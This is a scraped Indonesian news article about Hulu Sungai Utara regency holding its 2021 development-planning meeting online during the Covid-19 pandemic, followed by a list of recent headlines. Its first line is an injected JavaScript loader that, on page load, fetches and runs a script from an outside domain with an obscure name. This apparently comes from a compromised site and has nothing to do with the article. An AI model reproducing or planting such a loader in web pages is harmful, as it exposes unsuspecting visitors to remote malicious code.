(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pandemi Covid-19, Pemkab HSU Gelar Musrenbang Secara Online


KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten Hulu Sungai Utara (HSU) tetap melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Kerja Pemerintah Daerah (RKPD) Tahun 2021, meskipun secara terbatas. Langkah ini dilakukan di tengah pandemi Covid-19.

Musrenbang yang bertempat di Mess Nagara Dipa, Selasa (21/4/2020) kali ini juga dilaksanakan secara Live melalui Media Elektronik Televisi Daerah Amuntai TV dan Media Digital Streaming Youtube di Dinas Kominfo Hulu Sungai Utara.

Bupati Hulu Sungai Utara H. Abdul Wahid HK saat membuka acara Musrenbang RKPD tahun 2021 tingkat Kabupaten HSU mengaku, Musrenbang ini untuk memenuhi ketentuan peraturan perundang – undangan. Meskipun kegiatan tahun ini berbeda dari tahun sebelumnya yang bisa melibatkan orang banyak untuk hadir.

“Secara fisik yang hadir mungkin terbatas seperti Wakil Bupati HSU, Ketua DPRD HSU beserta Wakil Ketua DPRD, Sekretaris Daerah, Ketua TP PKK, Kepala SKPD terkait dan perwakilan kelompok kemasyarakatan” kata Bupati Wahid.

Meskipun yang hadir Musrenbang tahun ini sangat terbatas, Pemkab tetap berupaya menyiarkan secara Live agar tiap SKPD di HSU dan masyarakat bisa tetap melihat di rumah. “Dengan harapan nantinya akan memberikan respon positif terhadap apa yang menjadi keinginan kita di tahun 2021 nanti,” imbuhnya.

Sementara itu Plt Kepala Bappelitbang HSU Hj Inna Wahyudiaty menyebut Musrenbang kali ini berbeda karena adanya Corona yang semakin luas. Hingga tidak memungkinkan untuk mengadakan kegiatan Musrenbang seperti sebelumnya. “Akibat dari adanya wabah covid – 19 ini mengharuskan Pemerintah Daerah dan kita semua untuk menyesuaikan pelaksanaan dan penyelenggaraan pemerintahan termasuk kegiatan Musrenbang ini,” kata Inna.

Atas dasar kebijakan pemerintah terhadapa adanya wabah covid – 19 inilah maka semua juga diminta melaksanakan Musrenbang secara terbatas dengan membatasi waktu dan peserta. “Tahun ini pelaksanaan musrenbang diadakan secara bertahap dengan didahului dengan sidang kelompok secara terbatas yang telah diadakan tanggal 14 April sampai 16 April yang lalu,” terangnya.

Agenda Musrenbang RKPD 2021 diawali laporan pelaksanaan Musrenbang RKPD, penyampaian proyeksi keuangan daerah tahun 2021, arahan kebijakan pembangunan Provinsi Kalsel, penyampaian hasil sidang kelompok dan penandatanganan berita acara hasil Musrenbang RKPD tahun 2021 (kanalkalimantan.com/dew)

Reporter : Dew
Editor : Chell


Desy Arfianty

Recent Posts

HMI Banjarmasin Komitmen Perjuangkan Kesejahteraan dan Hak Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More

11 menit ago

May Day di Kuala Kapuas, Pj Bupati Erlin Hardi Jalan Santai Bersama Buruh dan Masyarakat

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More

23 menit ago

SPM Pendidikan Banjarbaru Capai Skor 84,57, BPMP Kalsel Beri Penghargaan ke Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More

1 jam ago

Manasik Haji 2024 Ditutup, Ini Pesan Bupati Banjar untuk Jemaah Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More

2 jam ago

D’Bakso Hadir Manjakan Lidah Warga Palangkaraya dengan Ragam Menu Bakso

KANALKALIMANTAN.COM, PALANGKARAYA – Bakso merupakan kuliner yang sangat populer dan disukai masyarakat Indonesia. Kelezatan olahan… Read More

3 jam ago

Gelar Rembuk Stunting, Pj Bupati HSU Inginkan Pencegahan Gagal Tumbuh Anak Secara Bersama

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya mempercepat pencegahan dan penurunan… Read More

3 jam ago

This website uses cookies.